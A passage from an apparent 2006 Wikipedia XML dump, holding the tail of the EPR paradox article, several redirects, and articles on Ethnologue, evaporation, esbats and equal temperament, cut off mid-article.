* M. A. Rowe, D. Kielpinski, V. Meyer, C. A. Sackett, W. M. Itano, C. Monroe and D. J. Wineland, &quot;Experimental violation of a Bell's inequality with efficient detection&quot;. Nature '''409''', 791-794 (15 February 2001).

=== Books ===

* J.S. Bell, ''Speakable and Unspeakable in Quantum Mechanics'' (Cambridge University Press, 1987). ISBN 0521368693
* J.J. Sakurai, ''Modern Quantum Mechanics'' (Addison-Wesley, 1994), pp. 174-187, 223-232. ISBN 0201539292
* F. Selleri, ''Quantum Mechanics Versus Local Realism:  The Einstein-Podolsky-Rosen Paradox'' (Plenum Press, New York, 1988) ISBN 0306427397

== External links ==
* A. Fine, [http://plato.stanford.edu/entries/qt-epr/ ''The Einstein-Podolsky-Rosen Argument in Quantum Theory'']
* Abner Shimony, [http://plato.stanford.edu/entries/bell-theorem/ ''Bell’s Theorem''] (2004)
*[http://www.drchinese.com/David/EPR_Bell_Aspect.htm EPR, Bell &amp; Aspect: The Original References]
*[http://math.ucr.edu/home/baez/physics/Quantum/bells_inequality.html Does Bell's Inequality Principle rule out local theories of quantum mechanics?] From the Usenet Physics FAQ.


[[Category:Paradoxes]]
[[Category:Thought experiments]]
[[Category:Quantum measurement]]
[[Category:Albert Einstein]]

[[bg:Парадокс на Айнщайн-Подолски-Розен]]
[[de:EPR-Effekt]]
[[es:Paradoja EPR]]
[[fr:Paradoxe EPR]]
[[he:הפרדוקס של איינשטיין-פודולסקי-רוזן]]
[[hu:EPR-paradoxon]]
[[ja:アインシュタイン＝ポドルスキー＝ローゼンのパラドックス]]
[[pl:Paradoks EPR]]
[[ru:Парадокс Эйнштейна — Подольского — Розена]]
[[sv:EPR]]
[[zh:愛因斯坦-波多斯基-羅森悖論]]</text>
    </revision>
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  <page>
    <title>Encapsulation in object-oriented programming</title>
    <id>10300</id>
    <revision>
      <id>15908120</id>
      <timestamp>2003-05-15T03:52:04Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Information hiding]]</text>
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  </page>
  <page>
    <title>Encapsulation</title>
    <id>10301</id>
    <revision>
      <id>42146891</id>
      <timestamp>2006-03-04T03:12:31Z</timestamp>
      <contributor>
        <username>Cburnett</username>
        <id>140084</id>
      </contributor>
      <comment>Added network encapsulation</comment>
      <text xml:space="preserve">'''Encapsulation''' may refer to:
* [[information hiding]] and [[separation of concerns]], in software engineering, the process of enclosing programming elements inside larger, more abstract entities
* [[integrated circuit encapsulation]], in electronics the design and manufacture of protective packages
* [[micro-encapsulation]], means to confine material
* [[molecular encapsulation]], means to confine molecules
* [[encapsulation (pharmacology)]], to enclose medicines in a usable form
* [[encapsulation (networking)]], in [[computer network]]ing, is to include data from an [[upper layer protocol]] in a [[lower layer protocol]]

{{disambig}}

[[zh:信息隐藏]]</text>
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  </page>
  <page>
    <title>Ethnologue</title>
    <id>10302</id>
    <revision>
      <id>41877297</id>
      <timestamp>2006-03-02T08:20:24Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <minor />
      <comment>clean</comment>
      <text xml:space="preserve">'''''Ethnologue: Languages of the World''''' is a web and print publication of [[SIL International]] (formerly known as the Summer Institute of Linguistics), a [[Christianity|Christian]] [[linguistic]] service organization which studies lesser-known languages primarily to provide the speakers with native language biblical texts.

The Ethnologue contains statistics for 6,912 [[language]]s in the 15th edition, released in [[2005]] (up from 6,809 in the 14th edition, released [[2000]]) and gives the number of speakers, location, dialects, linguistic affiliations, availability of the [[Bible]], and so forth. It is currently the most comprehensive existing language inventory, along with the [[Linguasphere Observatory|Linguasphere Register]].  However, some information regarding more esoteric languages is quite dated.

What counts as a language depends on socio-linguistic evaluation: see [[Dialect]].

The Ethnologue provides a three-[[Latin alphabet|letter]] code, called '''SIL code''', for each language it describes. The number of SIL codes significantly exceeds those of [[ISO 639-1]] and RFC 3066. In the 15th edition they have, for the most part, synchronised the SIL codes with [[ISO 639-3]] with the exception that the ISO 639-3 codes are in lowercase while the SIL are in capital letters. There are a few exceptions where the ISO 639-3 and SIL codes differ — for example, [[Dakota]]'s SIL code: ''DHG'', ISO 639-3: ''dak'' (which is the same as Dakota's ISO 639-2 code).

The [[NPOV|neutrality]] of Ethnologue as a scientific institution is sometimes disputed, particularly in areas of language classification associated with the [[Bible]] and [[Abrahamic religion]].

Conversely, the [[NPOV|neutrality]] of Ethnologue as a scientific institution is sometimes lauded: in addition to choosing a primary name for the language, it also gives some of the names by which a language is called by its speakers, by the government, by foreigners, and by neighbors, as well as how it has been named and referenced historically, regardless of which designation is considered official, politically correct, or offensive, or by whom.  This selection of &quot;alternative names&quot; is extensive, but often incomplete.

As is inevitable in an enterprise so enormous, the Ethnologue contains some errors, some of which it fixes at every edition; for instance, en route to the 14th edition, some languages such as [[Chenoua language|Chenoua]] were added, and some rumoured &quot;languages&quot; such as [[Nemadi language|Nemadi]] or [[Wutana language|Wutana]] were removed.  Some possible remaining errors are discussed at [[Imraguen language]], [[Senhaja de Srair language]], [[Ghomara language]], [[Kwavi language]], [[Molengue language]], [[Yauma language]], [[Fer language]], [[Yeni language]], [[Hwla language]], and [[Ofayé]].

==Controversy==

===Linguistics===
SIL has been accused of going against general linguistic community consensus (and contrary to the opinion of the majority of the speakers themselves in some cases) as to what constitutes a separate [[language]] (as opposed to a [[dialect]]). More notable are the classification of [[Flemish (linguistics)|Flemish]] and several dialects of [[Swedish language|Swedish]] as separate languages with unique language codes. In cases like [[Scanian (linguistics)|Scanian]], the dialect does not meet the minimum criteria for mutual unintelligibility from [[Standard Swedish]]. SIL also attributes separate language status to &quot;[[Yinglish]]&quot;, an English vernacular spoken by some Jewish Americans which is to some degree influenced by the Yiddish and Hebrew languages. Some of these classifications don't meet SIL's own professed criteria for classification.[http://www.ethnologue.com/ethno_docs/introduction.asp#language_id]

=== Statistics ===
Ethnologue's estimates about the number of the speakers of the languages is inconsistent with other sources. For example, in Ethnologue, the speakers of [[Persian language|Persian]] and [[Azerbaijani]] languages in [[Iran]] are estimated as 36% and 37%, respectively. In the [[CIA factbook]], these percentages are estimated as 51% and 24%.

==See also==
*[[Language]]
*[[List of languages]]

==External links==
* [http://www.ethnologue.com/ Web version of ''The Ethnologue'']
** [http://www.ethnologue.com/ethno_docs/introduction.asp Introduction to the Printed Volume]
** [http://www.ethnologue.com/codes/default.asp Three-letter codes for identifying languages]
** [http://www.ethnologue.com/codes/updating_codes.asp Three-letter codes for identifying languages: Updating codes from the 14th Edition to the 15th Edition]
** [http://www.ethnologue.com/ethno_docs/introduction.asp#history Ethnologue -  History]
* [http://www.olestig.dk/reviews/ethnologue.html Review of the 15th edition, by Ole Stig Andersen] (''[[Danmarks Radio]]'')
* [http://www.nytimes.com/2005/07/19/science/19lang.html How Linguists and Missionaries Share a Bible of 6,912 Languages] (''[[New York Times]]'')
* [http://www.linguasphere.net Linguasphere Press]

[[Category:Linguistics]]

[[da:Ethnologue]]
[[es:Ethnologue]]
[[eo:Ethnologue]]
[[fi:Ethnologue]]
[[it:Ethnologue]]
[[nl:SIL-code]]
[[pt:Ethnologue]]
[[sv:Ethnologue]]
[[zh:民族語]]</text>
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  </page>
  <page>
    <title>Evaporation</title>
    <id>10303</id>
    <revision>
      <id>41874048</id>
      <timestamp>2006-03-02T07:34:08Z</timestamp>
      <contributor>
        <username>Jeffrey O. Gustafson</username>
        <id>158658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.206.230.240|203.206.230.240]] ([[User talk:203.206.230.240|talk]]) to last version by NathanHurst</comment>
      <text xml:space="preserve">'''Evaporation''' is the process whereby [[atom]]s or [[molecule]]s in a [[liquid]] state (or [[solid]] state if the substance [[sublimation (chemistry)|sublime]]s) gain sufficient energy to enter the [[gas]]eous state.  

The thermal motion of a molecule of liquid must be sufficient to overcome the [[surface tension]] and evaporate, that is, its [[kinetic energy]] must exceed the [[work function]] of [[Cohesion (chemistry)|cohesion]] at the surface.  Evaporation therefore, proceeds more quickly at higher [[temperature]], at higher flow rates between the gaseous and liquid phase and in liquids with lower surface tension (i.e. higher [[vapor pressure]]). Since only a small proportion of the molecules are located near the surface and are moving in the proper direction to escape at any given instant, the rate of evaporation is limited. Also, as the faster-moving molecules escape, the remaining molecules have lower average kinetic energy, and the temperature of the liquid thus decreases.  This phenomenon is also called [[evaporative cooling]].  One example for evaporative cooling is [[sweating]].

Gas has less order than liquid or solid matter, and thus the [[thermodynamic entropy|entropy]] of the system is increased, which always requires energy input. This means that the entropy change for evaporation (&amp;Delta;H&lt;sub&gt;evaporation&lt;/sub&gt;) is always positive.


=== Evaporative equilibrium ===
If the evaporation takes place in a closed vessel, the escaping molecules accumulate as a [[vapour]] above the liquid. Many of the molecules return to the liquid, with returning molecules becoming more frequent as the [[density]] and [[pressure]] of the vapour increases. When the process of escape and return reaches an [[equilibrium]], the vapour is said to be &quot;saturated,&quot; and no further change in either vapor pressure and density or liquid temperature will occur.

===Evaporation of water===

It is a misconception that at 1 [[atmosphere (unit)|atm]], [[water vapor|water vapour]] ''only'' exists at 100°C.  [[Water (molecule)|Water molecules]] are in a constant state of evaporation and condensation flux near the surface of liquid water.  If a ''surface'' molecule receives enough energy, it will leave the liquid and turn into vapour pending an allowable vapor pressure. Under a pressure of 1 [[atmosphere (unit)|atm]], water will [[boiling point|boil]] at 100°C.

The ratio of the heat loss from a pond by evaporation to the heat loss due to convection, independent of windspeed, is given by: 

:&lt;math&gt;{Q_{c,pa} \over Q_e} = {0.46(T_p -T_a) \over P_{wp} - P_a}{p \over 760}&lt;/math&gt;

where &lt;math&gt;Q_{c,pa}&lt;/math&gt; is the heat loss from the pond by convection, in Watts/m&lt;sup&gt;2&lt;/sup&gt;K,
&lt;math&gt;Q_e&lt;/math&gt; is the heat loss from the pond by evaporation, in Watts/m&lt;sup&gt;2&lt;/sup&gt;K,
&lt;math&gt;T_p&lt;/math&gt; and &lt;math&gt;T_a&lt;/math&gt; are the Kelvin (or Celsius) temperatures of the water and air, and 
&lt;math&gt;P_{wp}&lt;/math&gt; and &lt;math&gt;P_a&lt;/math&gt; are the vapor pressures of the pond surface and air, and 
&lt;math&gt;p&lt;/math&gt; is the barometric pressure, with all pressures in mm Hg.
(Bowen, 1926) &lt;!-- I'm puzzled what the 760 is for - that looks roughly like 1 atm in mmHg, but the pressure units should cancel out. Why are there two constants?  -- njh --&gt;

==Factors influencing rate of evaporation==	
*Concentration of the substance evaporating in the air. If the air already has a high concentration of the substance evaporating, then the given substance will evaporate more slowly.	
*[[Concentration]] of other substances in the air. If the air is already saturated with other substances, it can have a lower capacity for the substance evaporating.	
*Temperature of the substance. If the substance is hotter, then evaporation will be faster.
*Flow rate of air. This is in part related to the concentration points above. If fresh air is moving over the substance all the time, then the concentration of the substance in the air is less likely to go up with time, thus encouraging faster evaporation. In addition, molecules in motion have more energy than those at rest, and so the stronger the flow of air, the greater the evaporating power of the air molecules.
*[[Intermolecular force|Inter-molecular forces]]. The stronger the forces keeping the molecules together in the liquid or solid state the more energy that must be input in order to evaporate them.

==Applied evaporation==

===Forced evaporation===
Forced evaporation or [[distillation]] is a process used in the [[separation of mixture]]s, in which a mixture is heated to drive off the more volatile component with a higher [[vapor pressure]]. 

===Combustion vaporisation===
The fuel [[droplet]]s vaporize as they receive heat by mixing with the hot gases in the combustion chamber. Heat(energy) can also be received by radiation from any hot refractory wall of the combustion chamber.

===Film deposition===

Evaporation is a common method of [[thin film deposition]] used in industry.    Evaporative deposition tends to be slower and therefore more expensive compared to [[sputtering]].   However plastic substrates typically cannot tolerate the bombardment with energetic neutral atoms that unavoidably occurs in a sputter chamber.  An important example of an evaporative process is the production of [[aluminium|aluminized]] [[Mylar]] packaging film in a [[Roll-to-roll_processing|roll-to-roll web system]]. Often, the aluminum layer in this material is not [[skin depth|thick enough]] to be entirely opaque since a thinner layer can be deposited more cheaply than a thick one. The main purpose of the aluminum is to isolate the product from the external environment by creating a barrier to the passage of [[light]], [[oxygen]], or [[water vapor]].

For some applications, the fact that evaporative deposition proceeds in a line-of-sight fashion is an important advantage.   The energy distribution of evaporated material tends to be [[Maxwellian]], with a temperature derived from the evaporation source.    In contrast, the [[Plasma (physics)|plasmas]] encountered in sputtering systems are far from thermal equilibrium and may have high-energy tails that contain particles with large random velocities.    Evaporation is therefore a gentler process with a better defined beam of source material that can be used to coat just one side of a substrate or even the side of etched surface features, as in [[MEMS]] processing.

[[Image:Fourpocketevapsource.jpg|thumb|A compact four-pocket electron-beam evaporation source.]]

The three main kinds of evaporation are '''thermal''', '''electron-beam''' and '''resistive'''. In the thermal method, the crucible that holds the source material is radiatively heated by a filament that winds around it.  In the electron-beam method, the current that heats the crucible is boiled off a filament and is attracted to the crucible by a high voltage. Electron-beam evaporation is used with the highest melting elements.   Resistive evaporation is accomplished by passing a large current through a wire or foil of the material that is to be deposited.   [[Molecular beam epitaxy]] is a particularly sophisticated kind of thermal evaporation.



==See also==
*[[heat of vaporization]]
*[[evapotranspiration]]
*[[flash evaporation]]
*[[crystallisation]]
*[[Coffee ring]]
*[[Latent heat]]
*[[Distillation]]
*[[Desalination]]

== External links==
*[http://www.grow.arizona.edu/Grow--GrowResources.php?ResourceId=208 Evaporation of water]

==References==
''Semiconductor Devices: Physics and Technology,'' by S.M. Sze, ISBN 0471333727, has an especially detailed discussion of film deposition by evaporation.

[[Category:Physical chemistry]]
[[Category:Thermodynamics]]
[[Category:Materials science]]
[[Category:Thin film deposition]]

[[cs:Vypa&amp;#345;ování]]
[[da:Evaporation]]
[[de:Verdampfen]]
[[et:Aurumine]]
[[es:Evaporación]]
[[fr:Évaporation]]
[[he:&amp;#1492;&amp;#1514;&amp;#1488;&amp;#1497;&amp;#1497;&amp;#1491;&amp;#1493;&amp;#1514;]]
[[it:Evaporazione]]
[[lt:Garavimas]]
[[nl:Verdamping]]
[[ja:&amp;#33976;&amp;#30330;]]
[[nn:fordamping]]
[[pl:Parowanie]]
[[he:&amp;#1492;&amp;#1514;&amp;#1488;&amp;#1497;&amp;#1497;&amp;#1491;&amp;#1493;&amp;#1514;]]
[[pt:Evaporação]]
[[simple:Evaporation]]
[[sl:Izhlapevanje]]
[[fi:Haihtuminen]]
[[sv:Avdunstning]]
[[zh:&amp;#33976;&amp;#21457;]]</text>
    </revision>
  </page>
  <page>
    <title>Esbat</title>
    <id>10304</id>
    <revision>
      <id>41608879</id>
      <timestamp>2006-02-28T14:02:54Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <comment>clean up and bulleting external links using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Wiccan]]s and many other [[Paganism|Pagan]]s celebrate the '''esbats''', which are the [[full moon]]s. The new moons are also celebrated by many groups, and some very dedicated groups also celebrate the first and last quarter. Traditionally, the [[Sabbat (neopaganism)|Sabbat]]s are times of [[celebration (party)|celebration]], while magical work is done at the esbats.

There are thirteen [[canonical]] full moons each year, although some years will have only twelve, because a lunar month is more than twenty-eight days long (actually about 29 1/2 days).  A &quot;[[blue moon]]&quot; is popularly defined as the second full moon in a calendar month, although some define it as the second full moon while the sun is in one sign of the [[Zodiac]]. 

In '''The Witches' Goddess''', Janet and [[Stewart Farrar]] note that the [[Babylon]]ians considered the new moon to be the time when the [[Goddess]] was [[Menstrual cycle|menstruating]], and it was bad luck to do work on that day.  In [[Jew]]ish culture, the new moon is the first day of the month, called [[Rosh Chodesh]], and is still observed by some as a holiday for women.

The term '''esbat''' is a recent adoption, dating to the writings of [[Margaret Murray]].  It is derived from French ''esbat'' (modern ''&amp;eacute;bat''), meaning roughly &quot;frolic, romp&quot;, with some sexual connotations.  This term was used during the [[witch trials|European witch trials]] to describe the supposed behaviour of [[witches]] engaging in [[Devil worship]].  [[Margaret Murray|Murray]] was misled by the word's coincidental resemblance to the term '''sabbat'''.

==External links==
*[http://www.avalonia.co.uk/book_of_shadows/esbats_introduction.htm  What are Esbats?] - An introduction to the Wiccan Full Moon Ceremonies

[[Category:Wicca]]

[[de:Esbat]]
[[eo:Esbato]]
[[it:Esbat]]</text>
    </revision>
  </page>
  <page>
    <title>Evolution of societies</title>
    <id>10305</id>
    <revision>
      <id>19845550</id>
      <timestamp>2005-07-29T10:46:13Z</timestamp>
      <contributor>
        <username>Piotrus</username>
        <id>59002</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Sociocultural evolution]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic dance music</title>
    <id>10306</id>
    <revision>
      <id>15908126</id>
      <timestamp>2002-08-19T13:26:01Z</timestamp>
      <contributor>
        <ip>65.193.97.2</ip>
      </contributor>
      <comment>Completely redundant entry with no redeeming value. </comment>
      <text xml:space="preserve">#REDIRECT [[Electronic music]]</text>
    </revision>
  </page>
  <page>
    <title>Equal temperament</title>
    <id>10307</id>
    <revision>
      <id>41723474</id>
      <timestamp>2006-03-01T08:13:12Z</timestamp>
      <contributor>
        <ip>71.133.182.195</ip>
      </contributor>
      <text xml:space="preserve">'''Equal temperament''' is a scheme of [[musical tuning]] in which the [[octave]] is divided into a series of equal [[step]]s (equal frequency ratios). The best known example of such a system is ''twelve-'''t'''one '''e'''qual '''t'''emperament'', sometimes abbreviated to ''12-TET'', which is nowadays used in most [[Western music]]. Other equal temperaments do exist (some music has been written in [[19 equal temperament|19-TET]] and [[31 equal temperament|31-TET]] for example, Arabian and eastern styled music is based on a [[Arab tone system|24-tone]] equal temperament), but they are so rare that when people use the term ''equal temperament'' without qualification, it is usually understood that they are talking about the twelve tone variety.

== Explanation ==

The distance between each step and the next is ''aurally'' the same for any two adjacent steps; though, because steps form a [[geometric sequence]], the difference in [[frequency]] increases from one to the next. A [[linear]] sequence of one frequency difference would create ever smaller intervals ([[ratio]]s), such as the [[harmonic series (music)|harmonic series]].  See also [[logarithmic scale]].

Equal temperaments allow the use of [[integer notation]]; a single integer can be used to represent the pitch. The [[pitch class]]es can then be expressed in terms of [[modular arithmetic]] modulo the number of divisions of the octave, and this expedites mathematical methodology when examining these temperaments.

==History==

[[Vincenzo Galilei]] (father of [[Galileo Galilei]]) may have been the first person to advocate equal temperament (in a 1581 treatise). The first person known to introduce a mathematically accurate specification for equal temperament is probably [[Chu Tsai-Yu]] (朱載堉) in the [[Ming Dynasty]], who published a theory of the temperament in 1584. Soon after, European mathematicians [[Simon Stevin]] (1585, inspired by V. Galilei) and [[Marin Mersenne]] (1636) accurately described equal temperament.

In 1582, the great Chinese scholar of the Jesuits, Matteo Ricci, commenced his studies at Macao. From 1580, the Viceroy of the Cantonese province had established biannual 'trade fairs' lasting several weeks, at which Chinese and Westerners exchanged ideas and goods. The interchange between East and West was intense just at the moment when Chu Tsai-Yu went into print with his new theory.  We do not know the exact mode of transmission of the idea to Europe.  Within fifty-two years of Chu's publication, his ideas were published by Pere Marin Mersenne. The Ming Dynasty ended eight years later, but influenced musical theory for many years later.

Twelve tone equal temperament was introduced in the West to permit the playing of [[music]] in all keys with an equal amount of mis-[[tuning]] in each, without having to provide more than 12 pitches per octave on instruments, while still roughly approximating [[just intonation]] intervals. This allows much more facile harmonic motion, while losing some subtlety of intonation. True equal temperament was not available to musicians before about 1870 because scientific tuning and measurement was not available. And in fact, from about 1450 to about 1800 musicians tolerated even less mistuning in the most common keys, like C major. Instead, they used approximations that emphasized the tuning of [[Major third|third]]s or [[Perfect fifth|fifth]]s in these keys, such as [[meantone temperament]].

At the time equal temperament was beginning to take hold in the West, many people perceived the much-increased mis-tuning of the music, relative to [[meantone temperament]], as a disgrace. Those in opposition to equal temperament worried that the temperament, by degrading the purity of each chord, would degrade the purity of music. The composers against equal temperament included [[Giuseppe Tartini]].

Equal temperament does have a weak point in tonal music. Group of musicians such as string ensemble or [[a capella]], where tuning by microtones can be possible simultaneously during concerts, often prefer to tune the parts comprising each chord in just tuning relative to one another, in order to maximize the effect of [[Consonance and dissonance|consonance]]. Other instruments, such as [[Wind instruments|wind]], [[Keyboard instruments|keyboard]], and [[Fret|fretted]]-instruments, use equal temperament or ''quasi''-equal temperament, when the instruments have technical limitations to be tuned exactly equal. The dissonance of such temperaments is known to be noticed by an average audience. Some claim that this is especially troubling in the lower register, and had somewhat constrained composers in the classical and romantic eras from writing chords narrower than octave for the left hand in keyboard music, while such examples in cello parts of string quartets are more common. Others hear the dissonance as most troubling in the higher register, where [[beat (acoustics)|beating]] between harmonics of mistuned consonances is faster, and where combinational tones, often an entire semitone out-of-tune in equal temperament, are louder.

On the other hand, [[J. S. Bach]] wrote [[The Well-Tempered Clavier]] to demonstrate the musical possibilities of [[well temperament]], where in some keys the consonances are even more degraded than in equal temperament. There is some reason to believe that when composers and theoreticians of this era wrote of the &quot;colors&quot; of the keys, they described the subtly different dissonances of particular tuning methods, though it is difficult to determine with any exactness the actual tunings used in different places at different times by any composer. (Alternatively, many of these composers may have possessed [[absolute pitch]].) Well temperaments were gradually supplanted by equal temperament over the course of the 19th century, and it is in the environment of equal temperament that the new styles of symmetrical tonality and [[polytonality]], [[atonality|atonal music]] such as that written with the [[twelve tone technique]] or [[serialism]], and [[jazz]] (at least its piano component) developed and flourished.

==Twelve-tone equal temperament==

The ratio between two adjacent semitones can be found with a few steps:

:1. Let ''a''&lt;sub&gt;''n''&lt;/sub&gt; be the frequency of a tone ''n'', with ''a''&lt;sub&gt;12&lt;/sub&gt; an [[octave]] above ''a''&lt;sub&gt;0&lt;/sub&gt;. This creates twelve tones for each octave.

:2. Since the frequency ratio of a tone from one octave to the next is 2:1, the ratio of the frequency of one tone (''a''&lt;sub&gt;12&lt;/sub&gt;) to the frequency of a tone an octave lower (''a''&lt;sub&gt;0&lt;/sub&gt;) is 2:1 as well, so
::&lt;math&gt;\frac{a_{12}}{a_0} = 2&lt;/math&gt;

:3. Since the frequencies of the tones are in a geometric sequence, the frequency for a tone ''k'' (relative to the tone designated zero) will be equal to ''s''&lt;sup&gt;''k''&lt;/sup&gt;''a''&lt;sub&gt;0&lt;/sub&gt; where ''s'' is the constant ratio between adjacent frequencies. This gives for ''k'' = 12,
::&lt;math&gt;a_{12} = s^{12} a_0&lt;/math&gt;

::&lt;math&gt;\frac{a_{12}}{a_0} = s^{12}&lt;/math&gt;

:4. Since ''a''&lt;sub&gt;12&lt;/sub&gt; / ''a''&lt;sub&gt;0&lt;/sub&gt; was found to be two, the formula with constant ratio ''s'' is
::&lt;math&gt;2 = s^{12}&lt;/math&gt;

::&lt;math&gt;s = \sqrt[12]{2}&lt;/math&gt;

Therefore, the ratio between two adjacent frequencies is equal to the [[twelfth root of two]] or approximately 1.05946309 to one.
:&lt;math&gt;s = \sqrt[12]{2} \approx 1.05946309&lt;/math&gt;

The half tone interval:
:&lt;math&gt; 1 : 2^{1/12}&lt;/math&gt;
is also known as 100 ''[[cent (music)|cent]]s''. 1 cent is therefore the ratio between two tone frequencies with an interval of one hundredth of an equal-tempered semitone.

The distance between two notes whose frequencies are ''f''&lt;sub&gt;1&lt;/sub&gt; and ''f''&lt;sub&gt;2&lt;/sub&gt; is 12 log&lt;sub&gt;2&lt;/sub&gt;(''f''&lt;sub&gt;1&lt;/sub&gt;/''f''&lt;sub&gt;2&lt;/sub&gt;) half tones, that is 1200 log&lt;sub&gt;2&lt;/sub&gt;(''f''&lt;sub&gt;1&lt;/sub&gt;/''f''&lt;sub&gt;2&lt;/sub&gt;) cents.

=== Cent values of equal temperament ===

{| cellpadding=&quot;4&quot; border=&quot;1&quot; frame=&quot;box&quot; rules=&quot;all&quot; style=&quot;text-align:center&quot; align=center
|- bgcolor=#DDDDFF
! Tone
|C&lt;sup&gt;1&lt;/sup&gt;||Db||D||Eb||E||F||F#||G||Ab||A||Bb||B||C&lt;sup&gt;2&lt;/sup&gt;
|-
! Cents
|0||100||200||300||400||500||600||700||800||900||1000||1100||1200
|}

The following table shows the values of the intervals of 12 TET, along with one interval from [[just intonation]] that each approximates, and the percentage by which they differ:

{| frame=&quot;box&quot; rules=&quot;all&quot; cellpadding=&quot;4&quot; style=&quot;text-align:center&quot; align=center
|- bgcolor=#DDDDFF
!Name
!Exact value in 12-TET
!Decimal value
!Just intonation interval
!Percent difference
|-
|Unison
|&amp;#160;&amp;#160;1
|1.000000
|1 = 1.000000
|0.00%
|-
|Minor second
|&lt;math&gt;\sqrt[12]{2^1} = \sqrt[12]{2}&lt;/math&gt;
|1.059463
|16/15 = 1.066667
| -0.68%
|-
|Major second
|&lt;math&gt;\sqrt[12]{2^2} = \sqrt[6]{2}&lt;/math&gt;
|1.122462
|9/8 = 1.125000
| -0.23%
|-
|Minor third
|&lt;math&gt;\sqrt[12]{2^3} = \sqrt[12]{8}&lt;/math&gt;
|1.189207
|6/5 = 1.200000 
| -0.91%
|-
|Major third
|&lt;math&gt;\sqrt[12]{2^4} = \sqrt[3]{2}&lt;/math&gt;
|1.259921
|5/4 = 1.250000
| +0.79%
|-
|Perfect fourth
|&lt;math&gt;\sqrt[12]{2^5} = \sqrt[12]{32}&lt;/math&gt;
|1.334840
|4/3 = 1.333333
| +0.11%
|-
|Diminished fifth
|&lt;math&gt;\sqrt[12]{2^6} = \sqrt{2}&lt;/math&gt;
|1.414214
|7/5 = 1.400000
| +1.02%
|-
|Perfect fifth
|&lt;math&gt;\sqrt[12]{2^7} = \sqrt[12]{128}&lt;/math&gt;
|1.498307
|3/2 = 1.500000
| -0.11%
|-
|Minor sixth
|&lt;math&gt;\sqrt[12]{2^8} = \sqrt[3]{4}&lt;/math&gt;
|1.587401
|8/5 = 1.600000
| -0.79%
|-
|Major sixth
|&lt;math&gt;\sqrt[12]{2^9} = \sqrt[4]{8}&lt;/math&gt;
|1.681793
|5/3 = 1.666667
| +0.90%
|-
|Minor seventh
|&lt;math&gt;\sqrt[12]{2^{10}} = \sqrt[6]{32}&lt;/math&gt;
|1.781797
|16/9 = 1.777778
| +0.23%
|-
|Major seventh
|&lt;math&gt;\sqrt[12]{2^{11}} = \sqrt[12]{2048}&lt;/math&gt;
|1.887749
|15/8 = 1.875000
| +0.68%
|-
|Octave
|&lt;math&gt;\sqrt[12]{2^{12}} = {2}&lt;/math&gt;
|2.000000
|2/1 = 2.000000
|0.00%
|}

These mappings from equal temperament to [[just intonation]] are by no means unique. The minor seventh, for example, can be meaningfully said to approximate both 16/9 and 9/5, depending on context or simultaneously in a chord -- and probably even 7/4.

==Non-12 TET==

Five and seven tone equal temperament, with 240 and 171 cent steps relatively, seem the most common outside of 12-tET. A Thai xylophone measured by Morton (1974) &quot;varied only plus or minus 5 cents,&quot; from 7-tET. A Ugandan Chop xylophone measured by Haddon (1952) also tuned to 171 cent steps. [[Gamelan]]s are tuned to 5-tET according to Kunst (1949), but according to Hood (1966) and McPhee (1966) their tuning varies widely and according to Tenzer (2000) contain [[pseudo-octave|stretched octaves]]. It is now well-accepted that of the two primary tuning systems in Gamelan music, Slendro and Pelog, only Slendro somewhat resembles 5-tone equal temperament while Pelog is highly unequal. However, Wachsmann (1950) used a Stroboconn to measure a Ugandan harp and women singing unaccompanied, finding variations of 15 and 5 cents respectively. ( &amp;larr; ''check accuracy of fragment repair'') A South American Indian scale from a preinstrumental culture measured by Boiles (1969) featured 175 cent equal temperament which stretches the octave slightly as with instrumental gamelan music.

The [[quarter tone]] scale or 24-tET is, similarly, based on steps of 50 cents or powers of &lt;math&gt;\sqrt[24]{2}&lt;/math&gt;. Other equal divisions of the octave, though, can be better considered temperaments; 24 is usually best considered simply as an equal division (e.g., a bisection of 12-tET). [[19 tone equal temperament|19-tET]] and especially [[31 tone equal temperament|31-tET]] are extended varieties of [[Meantone temperament]] and approximate most [[just intonation]] intervals considerably better than 12-tET. They have been used sporadically since the 16th century, with 31-tET particularly popular in Holland, there advocated by [[Christiaan Huygens]] and [[Adriaan Fokker]]. [[53 tone equal temperament|53-tET]] is much better still at approximating the traditional [[just intonation]] consonances, but has had very little use. It doesn't fit the [[Meantone]] mold that shaped the development of Western harmony and tonality since the Rennaissance, though it does fit [[schismatic temperament]] and the [[Pythagorean tuning]] of medieval music, and is sometimes used in Turkish music theory. In 53-tET, most traditional compositions would necessitate subtle microtonal pitch shifts or a drifting pitch level in order to make use of the tuning's excellent [[just intonation]] [[triad (music)|triads]]. Another tuning which has seen some use in practice and is not a meantone system is [[22 equal temperament|22-tET]]. 55-tET, not as close to [[just intonation]], was a bit closer to common practice. As an excellent representative of the variety of [[meantone temperament]] popular in the 18th century, 55-tET it was considered ideal by [[Georg Philipp Telemann]] and other prominent musicians. [[Wolfgang Amadeus Mozart]]'s surviving violin lessons conform closely to such a model. 

In the 20th century, standardized Western pitch and notation practices having been placed on a 12-tET foundation made the [[quarter tone scale]] a much more popular microtonal tuning. A further extension of 12-tET is [[72 tone equal temperament|72-tET]], which though not a [[meantone]] tuning, approximates most [[just intonation]] intervals, including non-traditional ones like 7/4, 9/7, 11/5, 11/6 and 11/7, much better. 72-tET has been taught, written and performed in practice, for example by [[Joe Maneri]] and his students -- whose atonal inclinations typically avoid any reference to [[just intonation]] intervals whatsoever. Still other equal temperaments occupying more than a few musicians include 5-tET, 7-tET, 15-tET, 22-tET, and 48-tET. Theoretically interesting temperaments which have found occasional use include division of the octave into 34, 41, 46, 99 or 171 parts.

More generally, every step in ''n'' tone equal temperament is 1200/n cents. However, if one wishes to create an equal tempered scale that does not repeat at the octave, a scale with ''n'' equal steps in a [[pseudo-octave]] ''p'' is based on the ratio&amp;nbsp;''r''
:&lt;math&gt; r = \sqrt[n]{p} &lt;/math&gt;.
This still may be easier to calculate in cents, for instance the pseudo-octave of ratio 2.1:1 is an interval of 1284 cents. Equal tempered scales can also be generated simply by picking the number of cents that each step will consist of.

